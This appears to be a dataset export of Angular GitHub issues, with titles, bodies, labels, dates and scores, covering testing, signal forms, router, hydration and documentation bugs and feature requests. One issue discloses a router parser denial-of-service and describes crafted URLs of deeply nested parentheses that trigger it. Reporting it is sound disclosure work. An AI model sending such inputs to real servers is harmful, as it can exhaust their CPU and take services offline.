`Did you run and wait for 'resolveComponentResources()'?`

<img width=""1280"" height=""537"" alt=""Image"" src=""https://github.com/user-attachments/assets/b6f612b2-83ee-40ca-8366-53b5b9676993"" />

### Please provide a link to a minimal reproduction of the bug

https://github.com/mareklukac/angularVitestTesting - pure angular starter template

### Please provide the exception or error you saw

```true
Error: Component 'TestComponent' is not resolved:
 - templateUrl: ./test-component.html
 - styleUrl: ./test-component.scss
Did you run and wait for 'resolveComponentResources()'?
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.1
Angular           : 21.1.1
Node.js           : 22.16.0
Package Manager   : npm 10.9.2
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build            │ 21.1.1            │ ^21.1.1           │
│ @angular/cli              │ 21.1.1            │ ^21.1.1           │
│ @angular/common           │ 21.1.1            │ ^21.1.0           │
│ @angular/compiler         │ 21.1.1 ... [TRUNCATED]",area: testing,2026-01-28 09:58:14+00:00,2026-02-10 12:33:47+00:00,2,area: testing,13.108,cannot test components with external templates using vitest which angular package s are the source of the bug core is this a regression no description when i want to test component with external template and styles with vitest in angular project it throws error please provide a link to a of the bug pure angular starter template please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version angular build angular cli angular common angular compiler truncated,others,-0.5267
angular/angular,3864384026,Apply aria attributes on signal forms ,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

Signal forms does not trigger the browser's native `input:invalid` state for validators of some native validators (eg: minlength).

Context:

Some of the browser's native input validors only trigger if the input's value was set by the user. As an example, `<input value=""a"" minlength=""3"">` won't show as invalid until the user has edited the value.

For Input fields bound to a signal, when the user modifies the value the signal immediately synchronizes its value back into the input, marking the value as not user-modified. This happens with simple `[value]=""signal()""`, but more importantly also using signal-forms `[field]=""form.text""` / `[formField]=...`.

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-kp5a3reh?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
Not applicable.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Stackblitz example using 21.0.3, my own dev environment:

Angular CLI       : 21.1.0
Angular           : 21.1.0
Node.js           : 22.21.1
Package Manager   : pnpm 10.21.0
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────... [TRUNCATED]","area: forms,forms: signals",2026-01-28 09:13:54+00:00,2026-02-06 01:02:50+00:00,7,"area: forms,forms: signals",8.659,apply aria attributes on signal forms which angular package s are the source of the bug forms is this a regression no description signal forms does not trigger the browser s native state for validators of some native validators eg minlength context some of the browser s native input validors only trigger if the input s value was set by the user as an example won t show as invalid until the user has edited the value for input fields bound to a signal when the user modifies the value the signal immediately synchronizes its value back into the input marking the value as not user modified this happens with simple but more importantly also using signal forms please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true stackblitz example using my own dev environment angular cli angular node js package manager pnpm win x package installed version requested version truncated,others,0.9244
angular/angular,3864294231,"Fix ""copy"" feature in Angular documentation (website)","### Describe the problem that you experienced

Example: https://angular.dev/cli/new
Copying the first code example (""ng new ng[name] [options]"") returns ""ng newng [name][options]""
Please fix it so that spaces in the previews are correcly represented in the copied code example.

And speaking of examples:
Just put simple examples to your documentations. The docs are especially intended for new developers and without examples they are really frustrating.
A new angular developer would interpret the example above to create a new project as this:
""ng new ng[MyCoolApp]""
Which is probably not how it works. Or maybe it is. It's very unclear. And that's the problem.

### Enter the URL of the topic with the problem

https://angular.dev/cli/new

### Describe what you were looking for in the documentation

How to initialize a new project with params.

### Describe the actions that led you to experience the problem

Just reading the first lines of the documentation.

### Describe what you want to experience that would fix the problem

User-friendly documentation.

### Add a screenshot if that helps illustrate the problem

_No response_

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```","open for contributions,area: docs-infra",2026-01-28 08:51:57+00:00,2026-02-02 18:09:37+00:00,1,"open for contributions,area: docs-infra",5.3873,fix copy feature in angular documentation website describe the problem that you experienced example copying the first code example ng new ng name options returns ng newng name options please fix it so that spaces in the previews are correcly represented in the copied code example and speaking of examples just put simple examples to your documentations the docs are especially intended for new developers and without examples they are really frustrating a new angular developer would interpret the example above to create a new project as this ng new ng mycoolapp which is probably not how it works or maybe it is it s very unclear and that s the problem enter the url of the topic with the problem describe what you were looking for in the documentation how to initialize a new project with params describe the actions that led you to experience the problem just reading the first lines of the documentation describe what you want to experience that would fix the problem user friendly documentation add a screenshot if that helps illustrate the problem no response if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,bug,-0.8653
angular/angular,3861787279,Request for Public API to Dismiss NG0501 Diagnostic or Alternative Approach for handling enabledBlocking with non-destructive hydration (Angular 21),"### Which @angular/* package(s) are relevant/related to the feature request?

core, router

### Description

We maintain an open-source Angular meta-framework for building ecommerce. We currently use `initialNavigation: 'enabledBlocking'` in our SSR application with non-destructive hydration, and it works properly for our needs. However, we’d like to address the following diagnostic message:
> `NG05001: Configuration error: found both hydration and enabledBlocking initial navigation in the same application, which is a contradiction.`

When `initialNavigation: enabledBlocking` is removed, Angular falls back to `INITIAL_NAVIGATION` with the value `enabledNonBlocking`. Therefore, the initial render of the entire component tree starts to happen in parallel with the Router's initial navigation phase. Previously, routing happened first, and only then could the rendering of components start. This means that if any components implicitly expected some side-effects from the initial routing phase to already be finished, they might now encounter a race condition.

The core issue is that hydration requires non-blocking navigation, but we have a legitimate use case that relies on bootstrap-blocking behavior. Specifically, we need to extract URL-based parameters such as auth codes, coupons, and configuration data before they are potentially lost during any redirects. 

Some of our features depend on the `LOCATION_INITIALIZED` promise, which we observed Angular ignores when `enableBlocking` ... [TRUNCATED]","area: router,area: server,core: hydration",2026-01-27 18:03:59+00:00,2026-04-08 17:39:59+00:00,7,"area: router,area: server,core: hydration",70.9833,request for public api to dismiss ng diagnostic or alternative approach for handling enabledblocking with non destructive hydration angular which angular package s are relevant related to the feature request core router description we maintain an open source angular meta framework for building ecommerce we currently use in our ssr application with non destructive hydration and it works properly for our needs however we d like to address the following diagnostic message when is removed angular falls back to with the value therefore the initial render of the entire component tree starts to happen in parallel with the router s initial navigation phase previously routing happened first and only then could the rendering of components start this means that if any components implicitly expected some side effects from the initial routing phase to already be finished they might now encounter a race condition the core issue is that hydration requires non blocking navigation but we have a legitimate use case that relies on bootstrap blocking behavior specifically we need to extract url based parameters such as auth codes coupons and configuration data before they are potentially lost during any redirects some of our features depend on the promise which we observed angular ignores when truncated,feature,-0.8555
angular/angular,3860861068,"Clarify standalone: true vs false in component, directive, and pipe guides","### Describe the problem that you experienced

The docs don’t clearly explain the difference between `standalone: true` and `standalone: false` for components, directives, and pipes.

In several places, standalone is mentioned, but the links often redirect to general component documentation instead of explaining the standalone concept itself. This can be confusing, especially for developers learning modern Angular or migrating from NgModule-based architecture.

### Enter the URL of the topic with the problem
- In [Standalone](https://angular.dev/api/core/Directive) block refers 

> More information about standalone components, directives, and pipes can be found in [this guide](https://angular.dev/guide/components/importing).

- In [NgOptimizedImage](https://angular.dev/api/common/NgOptimizedImage)

> The [NgOptimizedImage](https://angular.dev/api/common/NgOptimizedImage) directive is marked as [standalone](https://angular.dev/guide/components/importing) and can be imported directly.

- in [Bootstraps](https://angular.dev/api/platform-browser/bootstrapApplication)

> Bootstraps an instance of an Angular application and renders a standalone component as the application's root component. More information about standalone components can be found in [this guide](https://angular.dev/guide/components/importing).",needs: clarification,2026-01-27 14:26:52+00:00,2026-01-28 18:16:57+00:00,3,needs: clarification,1.1598,clarify standalone true vs false in component directive and pipe guides describe the problem that you experienced the docs don t clearly explain the difference between and for components directives and pipes in several places standalone is mentioned but the links often redirect to general component documentation instead of explaining the standalone concept itself this can be confusing especially for developers learning modern angular or migrating from ngmodule based architecture enter the url of the topic with the problem in standalone block refers more information about standalone components directives and pipes can be found in this guide in ngoptimizedimage the ngoptimizedimage directive is marked as standalone and can be imported directly in bootstraps bootstraps an instance of an angular application and renders a standalone component as the application s root component more information about standalone components can be found in this guide,others,-0.8338
angular/angular,3859690926,host element not rendered in browser mode,"### Command

test

### Is this a regression?

- [ ] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

_No response_

### Description

When testing the application via vitest browser mode, the host element of the component being tested is not rendered.

### Minimal Reproduction

This is the link to a minimal repro
https://github.com/Bushuo/angular-browser-mode-issue

run `ng serve`
observe that the title is red

run `ng test`
make sure to hit the breakpoint by opening the inspector (debug mode, otherwise the tests dont continue to run)
see that the title is black

The dom in the iframe looks like this
```html
<body>
  <div id=""root0"" ng-version=""21.1.1"">
    <main class=""main"">
      <h1>Welcome to Angular 21 Base</h1>
    </main>
    <router-outlet></router-outlet>
  </div>
</body>
```
Whereas I would expect it to look like this
```html
<body>
  <app-root ng-version=""21.1.1"" _nghost-ng-c3567031373="""">
    <main class=""main"">
      <h1>Welcome to Angular 21 Base</h1>
    </main>
    <router-outlet></router-outlet>
  </app-root>
</body>
```

### Exception or Error

```text

```

### Your Environment

```text
Angular CLI       : 21.1.1
Angular           : 21.1.1
Node.js           : 22.21.1
Package Manager   : npm 11.6.2
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├────────────────────... [TRUNCATED]",,2026-01-27 08:20:15+00:00,2026-01-27 09:21:22+00:00,4,nan,0.0424,host element not rendered in browser mode command test is this a regression yes this behavior used to work in the previous version the previous version in which this bug was not present was no response description when testing the application via vitest browser mode the host element of the component being tested is not rendered this is the link to a minimal repro run observe that the title is red run make sure to hit the breakpoint by opening the inspector debug mode otherwise the tests dont continue to run see that the title is black the dom in the iframe looks like this whereas i would expect it to look like this exception or error your environment text angular cli angular node js package manager npm win x package installed version requested version truncated,others,0.8013
angular/angular,3857243740,Unbounded recursion in DefaultUrlSerializer.parse() can cause router-level DoS with crafted URLs,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

The Angular Router's `DefaultUrlSerializer.parse()` contains unbounded mutual recursion between
`parseChildren()` and `parseParens()` when handling deeply nested or malformed URLs containing
parentheses.

This can lead to excessive CPU usage, event-loop blocking, or stack overflow depending on runtime
limits. The issue is not exception-based and may not always throw an error, which makes it harder
to detect in production environments.

This is a parser-level denial of service condition caused by uncontrolled recursion. There is no
depth limit, recursion guard, or complexity check in the URL parsing logic.

Relevant code paths:
- `parseChildren()` → `parseParens()`
- `parseParens()` → `parseChildren()`

Because this logic is part of a core framework component, it is expected to be safe-by-default.
Relying on every application developer to defensively wrap router parsing logic in `try/catch`
does not mitigate CPU exhaustion or event-loop blocking.

This affects server-side rendering and custom Node/Express integrations where `DefaultUrlSerializer`
is used directly or indirectly.

### Please provide a link to a minimal reproduction of the bug

No public repo required. The issue can be reproduced by calling:  const serializer = new DefaultUrlSerializer(); serializer.parse(url);  Where `url` contains deeply nested parentheses, for example: ""/((((((((((((((((((((((a))... [TRUNCATED]","area: router,router: URL parsing/generation",2026-01-26 18:59:49+00:00,2026-01-29 20:15:23+00:00,2,"area: router,router: URL parsing/generation",3.0525,unbounded recursion in defaulturlserializer parse can cause router level dos with crafted urls which angular package s are the source of the bug router is this a regression no description the angular router s contains unbounded mutual recursion between and when handling deeply nested or malformed urls containing parentheses this can lead to excessive cpu usage event loop blocking or stack overflow depending on runtime limits the issue is not exception based and may not always throw an error which makes it harder to detect in production environments this is a parser level denial of service condition caused by uncontrolled recursion there is no depth limit recursion guard or complexity check in the url parsing logic relevant code paths because this logic is part of a core framework component it is expected to be safe by default relying on every application developer to defensively wrap router parsing logic in does not mitigate cpu exhaustion or event loop blocking this affects server side rendering and custom node express integrations where is used directly or indirectly please provide a link to a of the bug no public repo required the issue can be reproduced by calling const serializer new defaulturlserializer serializer parse url where contains deeply nested parentheses for example a truncated,others,-0.9336
angular/angular,3856146447,Update angular logo on Google Dev Library,"### Describe the problem that you experienced

<img width=""1632"" height=""527"" alt=""Image"" src=""https://github.com/user-attachments/assets/4b046439-b849-4ea8-87ca-0ed62513643e"" />



### Enter the URL of the topic with the problem

https://devlibrary.withgoogle.com/

### Describe what you were looking for in the documentation

I think the logo is outdated
",area: docs,2026-01-26 14:11:18+00:00,2026-06-08 19:04:18+00:00,4,area: docs,133.2035,update angular logo on google dev library describe the problem that you experienced enter the url of the topic with the problem describe what you were looking for in the documentation i think the logo is outdated,documentation,-0.6597
angular/angular,3853503940,Add a new primitive to replace `ngOnInit` in signal-era,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

With signal inputs, there is no clean primitive for ""run code once after inputs are set."" The current workaround is using `effect()` with `untracked()`:

```typescript
constructor() {
  effect(() => untracked(() => {
    // code that needs inputs to be set
  }));
}
```

This is awkward because:
- `effect()` is designed for reactive side effects, not one-time initialization
- `untracked()` is required to prevent accidental signal tracking
- The pattern contradicts the reactive nature of effects

The signals era provides clean replacements for most lifecycle hooks:

**`ngOnChanges`** → `computed()` / `effect()`
```typescript
// Before (ngOnChanges)
@Input() firstName: string;
@Input() lastName: string;
fullName: string;

ngOnChanges() {
  this.fullName = `${this.firstName} ${this.lastName}`;
}

// After (signals)
firstName = input('');
lastName = input('');
fullName = computed(() => `${this.firstName()} ${this.lastName()}`);
```

**`ngOnDestroy`** → `DestroyRef.onDestroy()`
```typescript
// Before (ngOnDestroy)
ngOnDestroy() {
  this.cleanup();
}

// After (signals era)
constructor() {
  inject(DestroyRef).onDestroy(() => this.cleanup());
}
```

**`ngOnInit`** → ???

There is currently no signals-era equivalent for `ngOnInit`. The only workaround is the awkward `effect(() => untracked(...))` pattern.


### Proposed solution


Introduce an `InitRef` (or similar) injectable that p... [TRUNCATED]",,2026-01-25 16:29:53+00:00,2026-01-25 18:46:17+00:00,1,nan,0.0947,add a new primitive to replace in signal era which angular package s are relevant related to the feature request core description with signal inputs there is no clean primitive for run code once after inputs are set the current workaround is using with this is awkward because is designed for reactive side effects not one time initialization is required to prevent accidental signal tracking the pattern contradicts the reactive nature of effects the signals era provides clean replacements for most lifecycle hooks there is currently no signals era equivalent for the only workaround is the awkward pattern proposed solution introduce an or similar injectable that p truncated,feature,-0.128
angular/angular,3853436226,"TcbSwitchOp.execute() throws ""Cannot read properties of undefined (reading 'flatMap')"" in 21.1.1","### Which @angular/* package(s) are the source of the bug?

compiler-cli

### Is this a regression?

Yes - this worked in 21.0.6

### Description

After upgrading from Angular 21.0.6 to 21.1.1, the build fails with the following error when using `@switch` in templates:

```
X [ERROR] Cannot read properties of undefined (reading 'flatMap') [plugin angular-compiler]

    at TcbSwitchOp.execute (file:///node_modules/@angular/compiler-cli/bundles/chunk-I73LLMTA.js:15053:39)
    at _Scope.executeOp (file:///node_modules/@angular/compiler-cli/bundles/chunk-I73LLMTA.js:16609:20)
    at _Scope.render (file:///node_modules/@angular/compiler-cli/bundles/chunk-I73LLMTA.js:16511:12)
    ...
```

The error occurs in `TcbSwitchOp.execute()` at line 15053:
```javascript
const clauses = this.block.groups.flatMap((current) => {
```

`this.block.groups` is `undefined`.

### Please provide a link to a minimal reproduction of the bug

Template example that triggers the bug:

```html
@switch (reason()) {
  @case ('seats_exhausted') {
    <div>Content A</div>
  }
  @case ('no_subscription') {
    <div>Content B</div>
  }
}
```

Component:
```typescript
export type NoLicenseReason = 'no_subscription' | 'seats_exhausted' | 'suspended';

@Component({...})
export class MyComponent {
  readonly reason = input<NoLicenseReason>('no_subscription');
}
```

### Please provide the exception or error you saw

```
X [ERROR] Cannot read properties of undefined (reading 'flatMap') [plugin angular-compiler]

    ... [TRUNCATED]",,2026-01-25 15:45:53+00:00,2026-01-25 18:47:38+00:00,6,nan,0.1262,tcbswitchop execute throws cannot read properties of undefined reading flatmap in which angular package s are the source of the bug compiler cli is this a regression yes this worked in description after upgrading from angular to the build fails with the following error when using in templates the error occurs in at line is please provide a link to a of the bug template example that triggers the bug component please provide the exception or error you saw x error cannot read properties of undefined reading flatmap plugin angular compiler truncated,others,-0.9477
angular/angular,3853135616,ng serve live-reload fails when withExperimentalPlatformNavigation is enabled,"### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

No

### Description

When withExperimentalPlatformNavigation() is enabled in app.config.ts, the ng serve --live-reload=true functionality breaks.

Making changes to source files triggers a rebuild in the terminal, but the browser does not refresh. Removing withExperimentalPlatformNavigation() restores expected live-reload behavior.

### Please provide a link to a minimal reproduction of the bug

https://github.com/AssafGolani/live-reload-demo-reproduction

### Please provide the exception or error you saw

```true
## Expected Behavior

The browser should automatically reload when files are changed, regardless of whether the native navigation integration is enabled.

## Actual Behavior

The browser fails to reload. It appears the connection to the live-reload socket is maintained, but the trigger to refresh the page is either blocked or ignored by the Navigation API integration.

## Exception or Error

No error is printed in the browser console, but the refresh simply does not occur.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.1.1
Node.js           : 20.19.0
Package Manager   : npm 10.4.0
Operating System  : win32 x64
```

### Anything else?

_No response_",area: router,2026-01-25 11:59:04+00:00,2026-01-26 22:29:54+00:00,4,area: router,1.4381,ng serve live reload fails when withexperimentalplatformnavigation is enabled which angular package s are the source of the bug router is this a regression no description when withexperimentalplatformnavigation is enabled in app config ts the ng serve live reload true functionality breaks making changes to source files triggers a rebuild in the terminal but the browser does not refresh removing withexperimentalplatformnavigation restores expected live reload behavior please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.775
angular/angular,3852799030,CommonModule/RouterModule Directives Not Recognized in NgModule Libraries (Angular v21),"### Which @angular/* package(s) are the source of the bug?

common, compiler-cli, compiler, router

### Is this a regression?

Yes

### Description

When building an Angular library (using `ng-packagr`) with Angular v21, CommonModule and RouterModule directives (`ngClass`, `ngStyle`, `routerLink`, etc.) are not recognized during compilation, even though these modules are properly imported and exported in the library's NgModule.

The issue affects **both partial and full compilation modes**, indicating this is not specific to partial compilation but a broader Angular v21 regression.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
Building Angular Package

------------------------------------------------------------------------------
Building entry point '@algosec/shared-ui'
------------------------------------------------------------------------------
- Compiling with Angular sources in partial compilation mode.
projects/company/shared-ui/src/lib/button/button.component.html:1:9 - error NG8002: Can't bind to 'ngClass' since it isn't a known property of 'button'.

1 <button [ngClass]=""buttonClass"" [ngStyle]=""additionalStyle"">
          ~~~~~~~~~~~~~~~~~~~~~~~~

  projects/company/shared-ui/src/lib/button/button.component.ts:8:16
    8   templateUrl: './button.component.html',
                     ~~~~~~~~~~~~~~~~~~~~~~~~~
    Error occurs in the template of component ButtonComponent.

pro... [TRUNCATED]",needs reproduction,2026-01-25 07:44:19+00:00,2026-01-25 10:36:00+00:00,4,needs reproduction,0.1192,commonmodule routermodule directives not recognized in ngmodule libraries angular v which angular package s are the source of the bug common compiler cli compiler router is this a regression yes description when building an angular library using with angular v commonmodule and routermodule directives etc are not recognized during compilation even though these modules are properly imported and exported in the library s ngmodule the issue affects both partial and full compilation modes indicating this is not specific to partial compilation but a broader angular v regression please provide a link to a of the bug no response please provide the exception or error you saw true building angular package building entry point algosec shared ui compiling with angular sources in partial compilation mode projects company shared ui src lib button button component html error ng can t bind to ngclass since it isn t a known property of button projects company shared ui src lib button button component ts templateurl button component html error occurs in the template of component buttoncomponent pro truncated,others,-0.2617
angular/angular,3850927087,feat(language-service): Add Linked Editing Ranges for HTML tag synchronization,"## Feature Request

### Description
Add support for **Linked Editing Ranges** (LSP 3.16) in the Angular Language Service to enable synchronized editing of opening and closing HTML tag pairs.

### Use Case
When editing HTML templates in Angular, developers often need to rename elements. Currently, renaming a tag requires manually updating both the opening and closing tags, which is error-prone and time-consuming.

With Linked Editing Ranges, when the cursor is on an element tag name:
- Both opening and closing tags are highlighted
- Typing changes both tags simultaneously
- Prevents mismatched tag errors

### Example
```html
<div class=""container"">
  <span>Content</span>
</div>
```
When the cursor is on `div`, typing `section` updates both opening and closing tags to `<section>...</section>`.

### Technical Details
- LSP method: `textDocument/linkedEditingRange`
- Supported in VS Code since 1.51
- Works with both external HTML templates and inline templates in TypeScript files

### Related
- [LSP 3.16 Spec - Linked Editing Range](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.16/specification/#textDocument_linkedEditingRange)
- VS Code setting: `editor.linkedEditing`
",area: language-service,2026-01-24 10:54:27+00:00,2026-02-04 23:45:30+00:00,3,area: language-service,11.5355,feat language service add linked editing ranges for html tag synchronization feature request description add support for linked editing ranges lsp in the angular language service to enable synchronized editing of opening and closing html tag pairs use case when editing html templates in angular developers often need to rename elements currently renaming a tag requires manually updating both the opening and closing tags which is error prone and time consuming with linked editing ranges when the cursor is on an element tag name both opening and closing tags are highlighted typing changes both tags simultaneously prevents mismatched tag errors example when the cursor is on typing updates both opening and closing tags to technical details lsp method supported in vs code since works with both external html templates and inline templates in typescript files related lsp spec linked editing range vs code setting,feature,-0.0258
angular/angular,3850926957,feat(language-service): Add Linked Editing Ranges for HTML tag synchronization,"## Feature Request

### Description
Add support for **Linked Editing Ranges** (LSP 3.16) in the Angular Language Service to enable synchronized editing of opening and closing HTML tag pairs.

### Use Case
When editing HTML templates in Angular, developers often need to rename elements. Currently, renaming a tag requires manually updating both the opening and closing tags, which is error-prone and time-consuming.

With Linked Editing Ranges, when the cursor is on an element tag name:
- Both opening and closing tags are highlighted
- Typing changes both tags simultaneously
- Prevents mismatched tag errors

### Example
```html
<div class=""container"">
  <span>Content</span>
</div>
```
When the cursor is on `div`, typing `section` updates both opening and closing tags to `<section>...</section>`.

### Technical Details
- LSP method: `textDocument/linkedEditingRange`
- Supported in VS Code since 1.51
- Works with both external HTML templates and inline templates in TypeScript files

### Related
- [LSP 3.16 Spec - Linked Editing Range](https://microsoft.github.io/language-server-protocol/specifications/lsp/3.16/specification/#textDocument_linkedEditingRange)
- VS Code setting: `editor.linkedEditing`
",,2026-01-24 10:54:22+00:00,2026-01-24 12:38:11+00:00,2,nan,0.0721,feat language service add linked editing ranges for html tag synchronization feature request description add support for linked editing ranges lsp in the angular language service to enable synchronized editing of opening and closing html tag pairs use case when editing html templates in angular developers often need to rename elements currently renaming a tag requires manually updating both the opening and closing tags which is error prone and time consuming with linked editing ranges when the cursor is on an element tag name both opening and closing tags are highlighted typing changes both tags simultaneously prevents mismatched tag errors example when the cursor is on typing updates both opening and closing tags to technical details lsp method supported in vs code since works with both external html templates and inline templates in typescript files related lsp spec linked editing range vs code setting,feature,-0.0258
angular/angular,3849046491,feat(language-service): add Angular-specific Inlay Hints (LSP 3.17),"## Summary

Add Angular-specific inlay hints for templates in the Angular Language Service and VS Code extension.

## Scope

- Template variable type hints (`@for`, `@if` aliases, `@let`, template refs)
- Event and binding hints (including host/listener contexts)
- Pipe and function call hints
- Control-flow hints (`@switch`, `@defer`)
- Interactive inlay labels where location metadata is available
- Extension settings for Angular inlay hint behavior
- Runtime settings refresh via LSP configuration flow

## Tracking PR

- #66755

## Notes

- This issue tracks the feature delivery.
- Implementation and test coverage are maintained in #66755.
",area: language-service,2026-01-23 20:21:48+00:00,2026-06-08 19:16:11+00:00,0,area: language-service,135.9544,feat language service add angular specific inlay hints lsp summary add angular specific inlay hints for templates in the angular language service and vs code extension scope template variable type hints aliases template refs event and binding hints including host listener contexts pipe and function call hints control flow hints interactive inlay labels where location metadata is available extension settings for angular inlay hint behavior runtime settings refresh via lsp configuration flow tracking pr notes this issue tracks the feature delivery implementation and test coverage are maintained in,feature,0.0
angular/angular,3847562975,Getting random 405 error with Service Worker,"### Which @angular/* package(s) are the source of the bug?

service-worker

### Is this a regression?

Yes

### Description

I have a random error upon opening the page 405 Method not allowed POST. This error is caused by service worker and is happening randomly. Page refresh most of the time helps. I noticed similar bahvioru here: https://github.com/angular/angular/issues/37133

Different from other issue i am getting it on Chrome browser! And my code is different - 405

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_",,2026-01-23 13:56:23+00:00,2026-01-23 15:33:27+00:00,12,nan,0.0674,getting random error with service worker which angular package s are the source of the bug service worker is this a regression yes description i have a random error upon opening the page method not allowed post this error is caused by service worker and is happening randomly page refresh most of the time helps i noticed similar bahvioru here different from other issue i am getting it on chrome browser and my code is different please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,bug,-0.9217
angular/angular,3847280299,[signal forms] required validator not longer works for empty array,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

the built-in signal forms required validator no longer treats an empty array as invalid, the non-signal forms validator still does.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.0.4
Angular           : 21.0.6
Node.js           : 24.13.0
Package Manager   : yarn 4.12.0
Operating System  : win32 x64

┌───────────────────────────────────┬───────────────────┬───────────────────┐
│ Package                           │ Installed Version │ Requested Version │
├───────────────────────────────────┼───────────────────┼───────────────────┤
│ @angular-devkit/architect         │ 0.2101.0          │ 0.2101.0          │
│ @angular-devkit/build-angular     │ 21.0.4            │ 21.0.4            │
│ @angular-devkit/core              │ 21.0.4            │ 21.0.4            │
│ @angular-devkit/schematics        │ 21.0.4            │ 21.0.4            │
│ @angular/build                    │ 21.0.4            │ ^21.0.4           │
│ @angular/cdk                      │ 21.0.5            │ 21.0.5            │
│ @angular/cdk-experimental         │ 21.0.5            │ 21.0.5            │
│ @angular/cli                      │ 21.0.4            │ 21.0.4            │
│ @angular/com... [TRUNCATED]",,2026-01-23 12:37:11+00:00,2026-01-23 14:00:56+00:00,2,nan,0.0582,signal forms required validator not longer works for empty array which angular package s are the source of the bug forms is this a regression yes description the built in signal forms required validator no longer treats an empty array as invalid the non signal forms validator still does please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager yarn win x package installed version requested version angular devkit architect angular devkit build angular angular devkit core angular devkit schematics angular build angular cdk angular cdk experimental angular cli angular com truncated,others,-0.4215
angular/angular,3847170867,Prevent void in computed signals,"### Which @angular/* package(s) are relevant/related to the feature request?

core

### Description

If you don't return anything from the `computed` signal, no one will complain about it. There will be no compilation or runtime errors.

It is, however, likely a mistake which will lead to incorrect behavior.

```ts
user = signal({
  firstName: 'Lightning',
  lastName: 'McQueen',
});

fullName = computed(() => {
  // Oops, I forgot to add return
  `${this.user().firstName} ${this.user().lastName}`;
});
```

```html
Hi, {{ fullName() }},
```

### Proposed solution

I cannot think of a legitimate reason not to return anything from the computed signal, so it seems like it should be typed to exclude `void` from the list of types it accepts.

### Alternatives considered

`@typescript-eslint/no-unused-expressions` can help, but it only catches simple cases.","area: core,cross-cutting: signals",2026-01-23 12:02:58+00:00,2026-01-28 18:30:51+00:00,3,"area: core,cross-cutting: signals",5.2694,prevent void in computed signals which angular package s are relevant related to the feature request core description if you don t return anything from the signal no one will complain about it there will be no compilation or runtime errors it is however likely a mistake which will lead to incorrect behavior proposed solution i cannot think of a legitimate reason not to return anything from the computed signal so it seems like it should be typed to exclude from the list of types it accepts alternatives considered can help but it only catches simple cases,others,-0.1823
angular/angular,3843346352,Signal forms array field tracking value causes orphan field error,"### Which @angular/* package(s) are the source of the bug?

core, forms

### Is this a regression?

No

### Description

When in a signalform, you have an array of objects, outside of $index there doesn't seem to be any good tracking value that doesn't cause warnings or errors when the source of the form updates.

```
@for (child of form.children; track ???) {
```

Tracking by $index works, but isn't ideal when the array-order may change.
Tracking by `child` produces a warning (NG0956)
Tracking by `child.id().value()` causes an orphan field error

The only somewhat working solution that I've found is `track formSource().children[$index].id`, but I can't imagine that's intended

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/stackblitz-starters-8eawr6lq?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true
With `track child.id()`

ERROR Error: RuntimeError: orphan field, can't find element in array <root>.items

With `track child`

NG0956: The configured tracking expression (track by identity) caused re-creation of the entire collection of size 2. This is an expensive operation requiring destruction and subsequent creation of DOM nodes, directives, components etc. Please review the ""track expression"" and make sure that it uniquely identifies items in a collection. Find more at https://v21.angular.dev/errors/NG0956
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
... [TRUNCATED]","area: forms,forms: signals",2026-01-22 15:01:14+00:00,2026-05-05 22:54:45+00:00,9,"area: forms,forms: signals",103.3288,signal forms array field tracking value causes orphan field error which angular package s are the source of the bug core forms is this a regression no description when in a signalform you have an array of objects outside of index there doesn t seem to be any good tracking value that doesn t cause warnings or errors when the source of the form updates tracking by index works but isn t ideal when the array order may change tracking by produces a warning ng tracking by causes an orphan field error the only somewhat working solution that i ve found is but i can t imagine that s intended please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true truncated,bug,-0.4529
angular/angular,3839799635,feat(language-service): add Document Symbols support for Angular templates,"# Feature Request: Document Symbols support for Angular templates

## ✅ Status: Implemented in PR #66690

## Description

The Angular Language Service should provide Document Symbols for Angular templates to enhance IDE features like the Outline panel, breadcrumbs navigation, and ""Go to Symbol"" (Cmd+Shift+O / Ctrl+Shift+O).

## Implementation

PR #66690 implements comprehensive Document Symbols support including:

### Features
1. **Block syntax**: `@if`, `@for`, `@switch`, `@defer`, `@let` with their expressions
2. **Structural directives**: `*ngIf`, `*ngFor`, `*ngSwitch` with their expressions
3. **Context variables**: Loop items, aliases (`let i = $index`), expression aliases (`as alias`)
4. **Template references**: `#ref` variables
